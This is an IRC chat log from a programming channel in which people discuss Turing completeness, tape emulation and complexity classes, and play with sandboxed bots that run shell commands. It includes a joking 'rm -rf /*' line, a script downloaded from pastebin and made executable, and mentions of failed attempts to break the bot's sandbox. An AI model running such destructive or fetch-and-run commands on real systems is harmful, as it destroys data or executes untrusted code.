23:33:32 <fizzie> AnMaster: Like I described it to Gregor: "It's a visualization of the positive and negative border; it's about finding frequent itemsets in data; and the thing that looks a bit like pi to the zeroth power with a hook on it is actually a snow leopard."
23:33:33 <Phantom_Hoover> "D-8"?
23:33:42 <Phantom_Hoover> I'm not good at acronyms.
23:33:47 <Gregor> Clearly.
23:33:55 <Phantom_Hoover> "Date"?
23:34:03 <Gregor> I was rolling 1 negative-8 sided die.
23:34:13 <Phantom_Hoover> Ah.
23:34:24 <Gregor> Everyone else: Was that too mean? :P
23:34:44 <Gregor> Phantom_Hoover: Lean your head to the right :P
23:34:44 <Oranjer> maybe
23:34:49 <Phantom_Hoover> I'm now thoroughly confused.
23:35:11 <pikhq> Phantom_Hoover: 本当に?グレーが君がやったね!
23:35:12 <Oranjer> it's a smiley
23:35:27 <pikhq> s/グレーが/グレーガ/
23:36:16 <olsner> although it's the very opposite of a smiley, in some sense
23:36:24 <olsner> in some other sense it is exactly a smiley
23:36:35 <Gregor> It's a megafrowny
23:36:49 <olsner> (then again, the negative-8 sided die is also a sense, so I'm not saying much here)
23:37:15 <pikhq> (*echm* Really? Gregor has succeeded!)
23:38:07 <Phantom_Hoover> Must dash.
23:38:08 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
23:38:37 <Oranjer> I'm certain there's another way to represent "must dash"
23:39:18 <pikhq> 行くはず。
23:39:20 <pikhq> ^ That?
23:39:45 <olsner> shouldn't that be a 'ki' rather than 'ku'?
23:39:59 <pikhq> olsner: Should it?
23:40:50 <olsner> it depends on how you read the other characters
23:41:22 <Gregor> `fetch http://pastebin.ca/raw/1841805
23:41:32 <HackEgo> 2010-03-15 22:41:08 URL:http://pastebin.ca/raw/1841805 [445] -> "1841805" [1]
23:41:44 <pikhq> Should definitely be く.
23:41:53 <Gregor> `run mv "1841805" bin/roll ; dos2unix bin/roll; chmod 0755 bin/roll
23:41:57 <HackEgo> No output.
23:41:59 <Gregor> `roll 55d6
23:42:01 <HackEgo> No output.
23:42:04 <Gregor> Whoops
23:45:26 -!- MigoMipo has quit (Quit: When two people dream the same dream, it ceases to be an illusion. KVIrc 3.4.2 Shiny http://www.kvirc.net).
23:45:38 <pikhq> Mmm. はず is probably wrong in this context, though. Should be more 行かなくちゃ。
23:46:09 <augur> i'll hazu your ikanakucha
23:46:11 -!- jay has joined.
23:46:17 <jay> HI
23:46:27 <pikhq> augur: Hah.
23:46:39 -!- jay has changed nick to Guest31015.
23:46:40 <pikhq> jay: ようこそ。
23:47:21 <Gregor> Hello Mr. Anonymous Guest
23:48:04 <Guest31015> 私は、私はGoogle翻訳を使用して日本語を話さない
23:48:20 <Guest31015> haha google can't translate it's own name
23:48:33 <pikhq> Congrats. :P
23:48:33 <Gregor> Guest31015: Nobody here speaks Japanese, pikhq just likes to think that he does.
23:48:40 <Guest31015> oh
23:48:54 -!- Oranjer has left (?).
23:49:00 <pikhq> Gregor: Hey, I'm actually *learning* Japanese you know.
23:49:10 <Guest31015> Can a language with no array support be turing-complete?
23:49:22 <fax> yes
23:49:23 <olsner> turing machines have no arrays
23:49:33 <Guest31015> how can it emulate a 'tape'
23:49:35 <pikhq> Though I don't think you need to know Japanese to tell he just used Google's translator.
23:49:40 <Gregor> Arguably the tape is an "array", however the Lambda calculus certainly has no arrays.
23:49:48 <olsner> Guest31015: it doesn't emulate a tape it *has* a tape
23:49:54 <pikhq> Guest31015: Depends on the language.
23:49:55 <olsner> that's the definition of a TM
23:50:43 <fizzie> olsner: For some unfathomable reason I have an irresistible urge to reply "no, YOU are the tape" to that.
23:50:57 <Gregor> In Soviet Russia, tape emulate YOU!
23:51:22 <Guest31015> haha :)
23:51:30 <fizzie> Anyhoo, two stacks is also a fashionable way to emulate a tape.
23:52:06 <oklopol> although it's more the string rewriting type of tape because you can add new cells
23:52:08 <oklopol> and remove them
23:52:53 <Guest31015> what about Commodore Basic? Is it turing complete? I think it does not have arrays
23:52:54 <oklopol> the kind you'd use with thue, no one actually uses the nondeterminism
23:53:24 <AnMaster> <olsner> AnMaster: picture of a clown? <-- not "of": "by"
23:53:28 <AnMaster> <fizzie> AnMaster: Like I described it to Gregor: "It's a visualization of the positive and negative border; it's about finding frequent itemsets in data; and the thing that looks a bit like pi to the zeroth power with a hook on it is actually a snow leopard." <-- wth
23:53:41 <fax> most programming langaugges are turing complete, because it's very hard not to be
23:53:49 <fizzie> AnMaster: In fact, fi:lumileopardi (in the file name) is en:"snow leopard".
23:53:51 <Gregor> fax's previous statement is not true.
23:54:03 <fax> which one ??
23:54:13 <Gregor> The "very hard not to be part"
23:54:14 <Gregor> Erm
23:54:16 <Gregor> The "very hard not to be" part
23:54:29 <fax> it is hard not to be turing complete
23:54:30 <AnMaster> fizzie, why
23:54:39 <pikhq> It is easy to not be Turing complete.
23:54:44 <fax> just put while(1) around almost anything and it becomes TC
23:54:51 <pikhq> What's hard is to both be not Turing complete *and* be useful.
23:55:03 <Guest31015> sql can do it
23:55:08 <Sgeo> Not too difficult to design HQ9+, really
23:55:21 <Gregor> I would be very surprised if some of the earliest incarnations of BASIC were TC ... like the guest said, no arrays, and most didn't even have scopes, making local variables useless and recursion impossible.
23:55:21 <AnMaster> -_-
23:55:22 <augur> so guys
23:55:32 <augur> who's written proper regex engines?
23:55:33 <augur> anyone?
23:55:40 <Gregor> Not me!
23:55:50 <fax> hm well Gregor that's a good point if you have finite variables which are all fixed size integers :|
23:55:53 <pikhq> Gregor: Register machine, maybe?
23:55:56 * Sgeo 's written stuff that abuses regexes
23:55:59 <AnMaster> fizzie, ?
23:56:01 <fizzie> AnMaster: It's a sort of a "you had to be there" thing, but briefly... the lecturer kept on scribbling more things on top of the picture, and everyone was trying to follow; at some point he added that thing with no explanation at all. Something like 15 minutes later someone finally asked "what's that pi-like thing there", and he replied "it's a snow leopard". A beat panel, then lots of laughter.
23:56:11 <fax> presumably there was a stack ?
23:56:16 <fax> but maybe not..
23:56:24 <AnMaster> fizzie, heh
23:56:31 <pikhq> fax: BASIC did not have a stack initially.
23:56:36 <pikhq> It had GOTO.
23:56:42 <pikhq> GOSUB was a latter addition
23:56:43 <Gregor> Gosub was an "innovation"
23:57:14 <AnMaster> fizzie, thus it follows that snow leopards have the value 1?
23:57:17 <AnMaster> no?
23:57:25 <Sgeo> What picture is this?
23:57:30 <AnMaster> since they are equivalent to pi^0
23:57:32 <fizzie> pikhq, Gregor: On the other hand, that sort of BASICs (at least the ones I've used) tend to have PEEK and POKE. Of course it's still finite-sized, but so's the computer.
23:57:35 <AnMaster> which is equal to 1
23:57:50 <Gregor> Yeah, PEEK and POKE make things ... odd.
23:57:51 <fizzie> Sgeo: http://www.cis.hut.fi/~itniemin/lumileopardi.jpg
23:58:09 <AnMaster> fizzie, what is the T supposed to be then?
23:58:41 <augur> fizzie: FACIES O_O
23:58:42 <pikhq> PEEK and POKE make it into definitely a register machine. Thus, it's TC if given infinite memory...
23:58:47 <Guest31015> I can draw a picture that's tcx
23:58:49 <Guest31015> tc
23:59:01 <augur> whats that a picture of, fizzie
23:59:05 <fizzie> AnMaster: The T and S have some sensible meanings there, though I've forgotten what they were. Pretty much everything else in the picture, except the snow leopard, has at least some sort of justification.
23:59:20 <fizzie> augur: Here's a copy of my earlier description: "It's a visualization of the positive and negative border; it's about finding frequent itemsets in data; and the thing that looks a bit like pi to the zeroth power with a hook on it is actually a snow leopard."
23:59:28 <AnMaster> fizzie, hard to imagine some of those
23:59:37 <AnMaster> fizzie, like those wavy lines
2010-03-16
00:00:01 <Guest31015> or 9x above one of the points
00:00:14 <AnMaster> fizzie, what does "positive and negative border" mean here?
00:02:11 -!- Oranjer has joined.
00:02:21 <augur> interesting, fizzie. sort of.
00:02:51 <AnMaster> augur, correction: enlightening
00:02:56 <AnMaster> (if only I know of what)
00:03:52 <augur> :p
00:03:58 <Guest31015> :P
00:03:58 <fizzie> AnMaster: Hrm, well... let P be a set of patterns, S a subset of it, and define a partial order (denoted < for now) in S; now the positive border of S are such elements x of it that for all other elements y in P for which x < y, y is not in S.
00:04:57 <AnMaster> mhm
00:05:10 <fizzie> AnMaster: And the negative border are the elements x in P\S such that for all elements y in P such that y < x, y is in S. Or something like that anyway.
00:05:42 <AnMaster> fizzie, okay. But err, what is that useful for?
00:05:46 <AnMaster> briefly
00:05:50 <fizzie> AnMaster: It's not a very useful construction "in general", but it's useful for analysing the complexity of algorithms that try to find frequent patterns in P.
00:06:04 <fizzie> AnMaster: This was some sort of "data mining"-themed course.
00:06:11 <AnMaster> ah
00:07:15 -!- FireFly has quit (Quit: Leaving).
00:07:59 <fizzie> Actually s/patterns/sets of items/; I don't think we made very much headway into finding actual patterns, just sets of items that tend to occur often together.
00:08:39 <fizzie> (And for some reason all the examples were about supermarket sales data, and finding out that people who buy beer also buy sausages, and vice versa.)
00:08:57 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:09:14 <AnMaster> mhm
00:09:49 <AnMaster> fizzie, that is rather strange, more varied examples would have been nicer
00:10:14 <fizzie> "Algorithmic methods of data mining P": "The course covers general topics in data mining, such as pattern discovery, clustering of data, and approximation of probability distributions. A special emphasis is put on algorithmic techniques to analyze discrete data."
00:11:00 <fizzie> Ha, the very first slideset of the course I opened -- https://noppa.tkk.fi/noppa/kurssi/t-61.5060/luennot/T-61_5060_04_frequent_sets.pdf -- starts with "Customer 1: mustard, sausage, beer, chips" (if you discount the title page).
00:11:10 <AnMaster> fizzie, what is the "P" in the title for?
00:11:22 <fizzie> P denotes "acceptable for postgraduate students".
00:11:22 <Deewiant> Postgraduate course
00:11:24 <Deewiant> I think
00:11:25 <Deewiant> Aye
00:11:44 <fizzie> Yes. It's the English version of the Finnish "L", which comes from... actually, where *does* it come from?
00:11:45 <AnMaster> ah
00:12:01 <AnMaster> "acceptable"?
00:12:11 <Deewiant> Acceptable for a Licenciate degree? :-P
00:12:16 <AnMaster> as in, you aren't allowed to attend such lectures otherwise?
00:12:28 <AnMaster> err
00:12:33 <AnMaster> I mean, attend other lectures
00:12:35 <AnMaster> than those
00:12:42 <Deewiant> You can, but you won't get any credit
00:12:43 <fizzie> You can, but you can't include them in the degree.
00:12:45 <fizzie> Right.
00:12:47 <AnMaster> ah
00:12:56 <fizzie> I'll let Deewiant do the explaining, he seems to be faster.
00:16:13 -!- oerjan has joined.
00:16:41 -!- jcp has joined.
00:16:42 <AnMaster> night
00:16:50 <oerjan> nice timing
00:17:33 <AnMaster> oerjan, ffs. IWC at you
00:17:35 <AnMaster> then night
00:24:48 -!- charlls has quit (Quit: Saliendo).
00:25:24 <Guest31015> how do two stacks emulate a tape?
00:25:56 <pikhq> Stack one is the elements before the tape head, stack two is the elements at and after the tape head.
00:26:17 <pikhq> You move forward by popping from 2 and pushing to 1, and back by popping from 1 and pushing to 2.
00:26:59 <oklopol> [0,1,2,3,4,5,6] where you're at alement 3 would be represented by ([2,1,0], 3, [4,5,6]), where [a1, a2, ...] is a stack where a1 is the top element
00:27:16 <Guest31015> Oh yeah!
00:27:21 <oklopol> you can also keep the 3 in one of the stacks ofc
00:27:29 <oklopol> like in pikhq's
00:27:33 <fizzie> oklopol: When you're at alement 3, have you had three beers?
00:27:39 <oklopol> :D
00:27:43 <oklopol> exactly
00:27:48 <pikhq> oklopol: I was presuming just a stack.
00:28:00 <pikhq> Erm. Just two stacks, and no other data structure.
00:28:34 <oklopol> right, i just thought that was the clearest way to explain the idea
00:29:02 <oklopol> the conversion isn't that complicated :)
00:31:19 <pikhq> Yes.
00:32:05 <oklopol> hmm hmm alementary operations
00:32:25 <oklopol> integer matrices are pretty sexy
00:33:23 <oerjan> fizzie: What a ridiculous stoutment.
00:38:03 <augur> oerjan
00:38:12 <augur> you're vaguely familiar with complexity, right?
00:38:33 <oerjan> slightly more than vaguely, i'd say
00:38:56 <augur> whats the relationship between complexity classes and the chomsky hierarchy
00:38:57 <oerjan> well, the basics anyway
00:39:22 <oerjan> augur: well, regular languages = finite automata = finite space
00:40:02 <augur> ok, so theres a relation between some of the complexity classes and the chomsky hierarchy
00:40:02 <oerjan> (although the finite space is not immediately obvious, needs a proof because you can still move around in the input tape of the TM)
00:40:26 <augur> so in a sense, complexity classes are a finer grain of hierarchy than the traditional chomsky hierarchy
00:40:41 <oerjan> augur: context free is within polynomial time, O(x^3)
00:40:47 <oerjan> augur: yes
00:40:54 <augur> ok, thats all i wanted to really know.
00:41:01 <augur> now heres another question
00:41:17 <oerjan> augur: context sensitive = linear space as i mentioned the other day
00:41:42 <augur> is there any work on translating complexity classes into formal language theoretic terms? e.g. whats a convenient way to characterize, lets say, AM, as a class of grammars
00:42:15 <oerjan> AM = arthur merlin? that's a bit beyond the basics but i've heard the name
00:42:24 <augur> yeah
00:42:30 <augur> i mean, it doesnt have to be AM
00:42:30 <augur> im just saying
00:42:42 <oerjan> augur: i recall wikipedia has a list of some correspondences beyond the basic chomsky
00:43:46 <augur> i know various kinds of like
00:43:56 <augur> formalizations of certain classes of languages
00:44:06 <oerjan> that table at the end of http://en.wikipedia.org/wiki/Chomsky_hierarchy
00:44:09 <augur> so the mildly CS right
00:44:28 <augur> well, im aware of that table
00:44:29 <augur> believe me
00:44:40 <oerjan> you'd think :)
00:44:44 <fax> im gonna puke my guts out in a boiling rage
00:44:53 <augur> but what im not sure of is how THAT relates to the complexity classes
00:44:55 <augur> or vice versa
00:45:03 <augur> im a grammar nerd, so i want to see grammars
00:45:11 <augur> complexity means nothing to me without interesting characterizations
00:45:15 <augur> brb food
00:45:17 <fax> augur
00:45:28 <oerjan> oh hm right
00:46:55 <oerjan> augur: well some of the things listed under the automaton column are complexities: linear-bounded and finite
00:47:07 <oerjan> which i already mentioned
00:47:41 <oerjan> and Turing machine itself, although that's up in the computability part of the hierarchy
00:49:42 <oerjan> oh well, i don't know more than those listed (and not all those) anyway
00:50:39 <augur> ok thanks :)
00:50:43 * augur hugs oerjan :D
00:56:03 -!- MizardX has quit (Ping timeout: 240 seconds).
00:57:01 -!- fax has quit (Quit: Lost terminal).
01:11:50 <Ilari> Heh. cd burning program tried to burn to hard disk. Luckily IDE HDD doesn't respond to burner commands.
01:15:39 <Guest31015> ughh I'm trying to emulate a pdp-11, but I am on a mac, and I only have an emulator for DOS, so I'm emulating DOS emulating Unix 7
01:16:45 <oerjan> Guest31015: <meme age="ancient">yo dawg</meme>
01:17:05 <Guest31015> ha
01:17:32 <Guest31015> I think I'm turning into Unix!
01:17:38 <Guest31015> ;login
01:17:44 <Guest31015> root
01:17:51 <Guest31015> root#
01:18:03 <uorygl> Guest31015: echo $PATH
01:18:35 <Guest31015> a
01:18:35 <Guest31015> a
01:18:36 <Guest31015> a
01:18:37 <Guest31015> a
01:18:49 <uorygl> Guest31015: ls /usr/bin
01:18:56 <Guest31015> I can't type a colon
01:19:05 <Guest31015> but it's bin, sbin and usr/bin
01:19:15 <Guest31015> i have to seel 5;
01:19:19 <Guest31015> *sleep
01:19:57 <Guest31015> root@
01:19:59 <Guest31015> root#
01:20:06 <uorygl> Darn those keyboards that can't type all ASCII characters.
01:20:20 <Guest31015> sh: Darn : command not found
01:20:53 <uorygl> #I'm still waiting for you to ls /usr/bin.
01:21:34 -!- augur has quit (Ping timeout: 256 seconds).
01:22:00 <Guest31015> grep cc cd pwd ssh telnet bash sh [
01:22:13 <Guest31015> root@
01:22:19 <Guest31015> root#
01:22:31 <Guest31015> aww screw it PS1="# "
01:22:37 <Guest31015> #
01:23:37 <uorygl> cc --help
01:24:26 <Guest31015> just compile yer code like this: cc "yer_code.c" -o "yer_executable"
01:24:41 <Guest31015> #
01:25:14 <uorygl> apt-get install apt-get
01:25:52 <Guest31015> sh: apt-get : I said unix not debian ( error -14 )
01:26:17 <uorygl> wget wget
01:26:31 <Guest31015> wget: couldn't resolve host
01:26:36 <Guest31015> @
01:26:38 <Guest31015> #
01:28:09 <Guest31015> #
01:28:20 <uorygl> #
01:28:27 <Guest31015> ls /
01:28:44 <uorygl> afs bin boot cdrom dev emul etc home initrd.img initrd.img.old lib lib32 lib64 media mnt opt proc root sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old
01:28:54 <Guest31015> cat > hw.c
01:29:06 <uorygl>
01:29:18 <Guest31015> void main() { printf("Hello World!\n"); }
01:29:21 <Guest31015> ^D
01:29:34 <uorygl> #
01:29:39 <Guest31015> cc hw.c
01:29:44 <Guest31015> ./a.out
01:29:50 <uorygl> hw.c: In function ‘main’:
01:29:50 <uorygl> hw.c:1: warning: incompatible implicit declaration of built-in function ‘printf’
01:29:54 <uorygl> #
01:30:01 <uorygl> Hello World!
01:30:02 <uorygl> #
01:30:17 <Guest31015> rm -rf /*
01:30:23 <Guest31015> don't type that
01:30:24 <Guest31015> lol
01:30:37 -!- augur has joined.
01:30:44 <uorygl> Permission denied
01:30:50 -!- Sgeo_ has joined.
01:30:53 -!- Sgeo_ has quit (Read error: Connection reset by peer).
01:31:04 <uorygl> #
01:31:13 <Guest31015> pwd
01:31:21 <uorygl> /home/ihope
01:31:34 <Guest31015> cd ..
01:31:35 <Guest31015> ls
01:31:45 <uorygl> ftran apollo firenze ihope kaelis kyevan maxite mbiswas muffin sine sophie syrra vamp wat
01:31:49 <uorygl> Oops.
01:31:54 <uorygl> aftran apollo firenze ihope kaelis kyevan maxite mbiswas muffin sine sophie syrra vamp wat
01:31:58 <oerjan> !unlambda ```.a.b`e`.c.d.e
01:32:01 <EgoBot> ac
01:32:13 <uorygl> #
01:32:43 <oerjan> !help languages
01:32:44 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
01:32:55 <Guest31015> su vamp
01:33:00 <Guest31015> ls ~
01:33:05 <uorygl> Password:
01:33:12 <Guest31015>
01:33:25 <uorygl> su: Authentication failure
01:33:44 <Guest31015> echo $SHELL
01:33:51 <Gregor> `run echo 'There is real UNIX on here, stop doing stupid fake UNIX.'
01:33:52 <HackEgo> There is real UNIX on here, stop doing stupid fake UNIX.
01:33:53 <uorygl> /bin/bash
01:34:08 <oerjan> Gregor: which unlambda implementation is EgoBot running?
01:34:13 -!- Sgeo has quit (Ping timeout: 245 seconds).
01:34:15 <uorygl> Gregor: I'm not doing fake UNIX, I'm typing Guest31015's commands into a real command line.
01:34:20 <uorygl> After fully understanding them, of course.
01:34:21 <Gregor> oerjan: http://codu.org/projects/egobot/ :P
01:34:23 <Guest31015> oh really
01:34:27 <Guest31015> I was just pretending
01:34:29 <Guest31015> lol
01:34:35 <uorygl> I had guessed!
01:34:39 <Gregor> `run echo $SHELL
01:34:41 <HackEgo> /bin/sh
01:35:00 <uorygl> Gregor: so, is there some sample implementation of an ordinary Unix environment using Plash?
01:35:18 <uorygl> I.e. one that uses Plash to replicate what's already there.
01:35:37 <Gregor> uorygl: ... why would you replicate a system, when the normal system is already there?
01:36:26 <Guest31015> uname
01:36:45 <Gregor> oerjan: USED_VERSION says http://web.inf.tu-dresden.de/~bf3/unlambda/ 20060112
01:36:55 <Guest31015> uname
01:39:15 <uorygl> Gregor: as an example of how to use Plash.
01:39:30 <oerjan> Gregor: huh i hadn't seen that implementation before
01:39:41 <Gregor> oerjan: Do you have a recommendation?
01:39:46 <Gregor> uorygl: I have no idea what you mean.
01:40:04 <oerjan> Gregor: not at all, in fact it lacks the bug from the original C interpreter which i was testing :D
01:40:20 <Guest31015> C interpreter?
01:40:29 <Guest31015> that sounds difficult
01:40:32 <oerjan> Guest31015: unlambda interpreter in C
01:40:36 <Guest31015> ohh
01:40:38 <Gregor> !c printf("Hello, Guest31015!")
01:40:44 <EgoBot> Hello, Guest31015!
01:41:01 <Guest31015> !c printf("Hello Gregor!");
01:41:03 <EgoBot> Hello Gregor!
01:41:07 <Guest31015> woah
01:41:21 <Guest31015> what else does that interpret
01:41:32 <Gregor> That is not a C interpreter, it's just a frontend to gcc :P
01:41:33 <Gregor> !languages
01:41:40 <Gregor> Hm, or is it ...
01:41:41 <Gregor> !help languages
01:41:41 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
01:42:19 <Guest31015> !sh pwd
01:42:20 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
01:42:29 <Guest31015> !sh ls /
01:42:31 <EgoBot> bin
01:42:55 <Gregor> HackEgo is a much-more-interesting implementation of the sh command, since it has a persistent filesystem.
01:43:26 <Guest31015> gee that there bot is real neat
01:43:44 <Gregor> Gee willikers, it is, innit?
01:44:00 <Guest31015> !c fprintf(stderr, "Does it print errors?");
01:44:02 <EgoBot> Does it print errors?
01:44:06 <Guest31015> Yes it does
01:45:02 <Guest31015> that thar robot must be real shiny
01:45:08 <Guest31015> and have beeping lights
01:45:28 <Gregor> Shhhh ... it is unaware that it's physically manifest, and we want to keep it that way.
01:45:35 <Guest31015> oh
01:45:55 <Guest31015> is hackego on this chan?
01:45:58 <pikhq> Why would a light beep?
01:46:12 <Gregor> `run echo 'Idonno, am I?'
01:46:14 <HackEgo> Idonno, am I?
01:46:20 <pikhq> 1c printf("Hello, the name is HackEgo.\n");
01:46:20 <pikhq> Erm.
01:46:20 <Guest31015> to show if it got dem internets and megabits and what now?
01:46:21 <pikhq> `c printf("Hello, the name is HackEgo.\n");
01:46:23 <HackEgo> No output.
01:46:29 <Gregor> pikhq: Fail :P
01:46:31 <Guest31015> `c ls
01:46:32 <HackEgo> No output.
01:46:38 <Guest31015> `sh ls
01:46:39 <pikhq> Oh, no c command on HackEgo? Should fix that when I'm not-lazy.
01:46:40 <HackEgo> No output.
01:46:50 <Guest31015> `sh ls
01:46:52 <HackEgo> No output.
01:46:54 <Guest31015> huh
01:47:00 <Guest31015> `sh help commands
01:47:02 <HackEgo> No output.
01:47:07 <Gregor> Ignore pikhq's fekked-up command.
01:47:12 <Gregor> I gave the proper command.
01:47:28 <pikhq> `help
01:47:29 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
01:47:42 <Guest31015> `run ls
01:47:43 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.21222 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
01:47:48 <Guest31015> `run pwd
01:47:49 <HackEgo> /tmp/hackenv.21263
01:48:09 <Guest31015> `run tty
01:48:12 <HackEgo> not a tty
01:48:14 <Gregor> You can also see the remainder of various failed hacking attempts in there :P
01:48:25 <Guest31015> `cat test.sh
01:48:27 <HackEgo> echo POOP! && sh ./test.sh
01:48:44 <Guest31015> `cat hack_gregor
01:48:46 <HackEgo> echo Gregor hacked.
01:48:53 <Ilari> What, that wunderbar_emporeum isn't so wunderbar? :->
01:48:56 <Guest31015> ./hack_gregor
01:49:02 <Gregor> Ilari: Doesn't work in Plash.
01:49:09 <Guest31015> `./hack_gregor
01:49:11 <HackEgo> No output.
01:49:17 <Guest31015> `run ./hack_gregor
01:49:19 <HackEgo> No output.
01:49:32 <Gregor> Guest31015: Did I mention "FAILED"
01:49:51 <pikhq> Gregor: What about it doesn't work? The port-opening?
01:49:58 <Guest31015> `run echo $HELL
01:50:00 <HackEgo> No output.
01:50:01 <Gregor> pikhq: I refuse to say :P
01:50:04 <Guest31015> `run echo $SHELl
01:50:06 <HackEgo> No output.
01:50:08 <Guest31015> DAMMIT
01:50:13 <Guest31015> `run echo $SHELL
01:50:15 <HackEgo> /bin/sh
01:50:16 <pikhq> Hah.
01:50:58 <Guest31015> `run printf "#!/bin/sh \n echo Guest Hacked "
01:51:00 <HackEgo> #!/bin/sh \ echo Guest Hacked
01:51:04 <oerjan> `sh hack_gregor
01:51:05 <HackEgo> Gregor hacked.
01:51:19 <Guest31015> `run printf "#!/bin/sh \n echo Guest Hacked " > Guest_hacked
01:51:21 <HackEgo> No output.
01:51:28 <Gregor> Being able to run a trivial shell script is kind of irrelevant :P
01:51:28 <Guest31015> `run chmod 777 Guest_hacked
01:51:30 <HackEgo> No output.
01:51:41 <Guest31015> `run ./Guest_hacked
01:51:43 <HackEgo> Guest Hacked
01:51:46 <Guest31015> YAY
01:53:19 <pikhq> No hacking done. Just designed behavior. :)
01:53:50 <Guest31015> yeah but running a shell script is the first step :P
01:53:55 <Guest31015> g2gbye
01:53:59 <Guest31015> be back later
01:54:06 <Guest31015> keep those two lovely bots up
01:54:14 <Guest31015> they are a charm
01:54:14 <pikhq> Not in a crazy sandbox. ;)
01:54:21 -!- Guest31015 has left (?).
02:00:03 <Gregor> Ah yes, we'll see you again, some anonymous Comcast person.
02:05:09 <coppro> `run rm Guest_hacked
02:05:11 <HackEgo> No output.
02:06:10 <coppro> Uh, I forget. Is HackEgo one of those 'please treat it nicely' bots, or one of those 'please try to break it' bots?
02:06:25 <pikhq> coppro: It's one of those "good luck breaking it" bots.
02:06:32 <coppro> fun
02:06:47 <pikhq> Worst case scenario, Gregor has to revert to a previous revision.
02:06:52 <oerjan> Gregor only makes those kinds of bots these days
02:06:55 <pikhq> (it's version controlled)
02:08:33 -!- songhead95 has joined.
02:08:38 <songhead95> Hello
02:08:46 <songhead95> I was just guest17*
02:08:58 <songhead95> `run ls
02:08:59 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.22425 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
02:09:00 <oerjan> no way!
02:09:12 <songhead95> way!
02:09:25 <oerjan> _completely_ different number
02:09:33 <songhead95> huh?
02:09:47 <oerjan> (31015)
02:10:06 <songhead95> I was the guest who pretended to be unix, than used unix, then played with the bots, then complimented the bots
02:11:00 <oerjan> you don't need to tell us. we have means to get information...
02:11:04 * oerjan cackles evilly
02:11:17 <oerjan> aka join messages.
02:11:59 <songhead95> `run echo $HOME
02:12:00 <HackEgo> /home/hackbot
02:12:12 <songhead95> `run echo $HOME
02:12:14 <HackEgo> /home/hackbot
02:12:24 <songhead95> `run ls /home
02:12:26 <HackEgo> hackbot
02:12:33 <songhead95> `run ls /home
02:12:35 <HackEgo> hackbot
02:12:39 <songhead95> `run ls /
02:12:40 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
02:13:04 <songhead95> no root?
02:13:04 <Gregor> You can do that in private messages, btw.
02:13:10 <songhead95> oh
02:13:11 <songhead95> yeah
02:14:19 <songhead95> I am an extreme irc noob
02:14:30 <Gregor> We've gathered that.
02:14:42 <songhead95> :(
02:15:24 <Gregor> Apparently "we've gathered that" is an insult
02:15:40 <songhead95> no I am just sad at my own noobishness
02:15:43 <oerjan> don't worry, we don't mind noobs
02:16:19 <oerjan> several of us may have been noobs at one time or another
02:17:10 <songhead95> I've been a noob since I started
02:17:22 <Gregor> Others, such as myself, are the result of a stable time loop, and as a result began our existence with full knowledge of IRC attained from the future.
02:17:42 <songhead95> ...do you die?
02:18:04 <Gregor> No, I travel back in time, which also reverses the aging process, and asserts my existence in the year 2002.
02:19:33 <songhead95> I want to be like you, if I master IRC and time travel, then travel back in time before I started IRC to teach myself IRC and time travel, will I begin the loop?
02:19:54 <Gregor> A time loop cannot be begun, it either exists or it does not. The past is already in the past, it cannot be changed.
02:20:30 <songhead95> aww man
02:21:21 <Gregor> Sorry! I didn't invent physics!
02:27:12 -!- Gracenotes has quit (Ping timeout: 276 seconds).
02:36:37 -!- Gracenotes has joined.
02:39:38 -!- augur has quit (Ping timeout: 248 seconds).
02:56:18 -!- songhead95 has quit (Quit: songhead95).
02:56:20 -!- songhead95 has joined.
02:56:35 -!- songhead95 has quit (Client Quit).
03:10:45 <uorygl> So, I think I'd like to pretend to be UNIX again.
03:11:04 <Gregor> uname -a
03:11:23 <uorygl> Gregor: well, Plash takes away the filesystem and replaces it with a fake filesystem, right? I want to see a fake Plash filesystem that acts just like a real one.
03:11:45 <uorygl> Linux thay 2.6.30-2-amd64 #1 SMP Mon Dec 7 05:21:45 UTC 2009 x86_64 GNU/Linux
03:11:45 <uorygl> $
03:12:20 <Gregor> uorygl: Plash doesn't "take away" the filesystem, it stands between the program and the real filesystem. Usually real parts of the filesystem are mapped directly into Plash.
03:12:54 <uorygl> Okay then, one that gives no access to the real filesystem and instead gives access to a fake one that acts like a real one.
03:13:36 <uorygl> Or I could just admit that I'm suffering from Demanding Something That Isn't What I Really Want Syndrome.
03:15:26 <uorygl> Maybe I should examine how HackBot is implemented.
03:15:51 <uorygl> And so, that thing I wanted to do to Hackiki, I might do to HackBot instead. :P
03:16:01 <uorygl> About how big is HackBot? Does it share any code with Hackiki?
03:25:12 <Gregor> HackBot shares no code with Hackiki.
03:25:25 <Gregor> It's smaller than Hackiki, IIRC.
03:25:27 <Gregor> One sec.
03:26:12 <Gregor> It's ~500 lines of C and shell.
03:26:16 <Gregor> The C is purely IRC interaction.
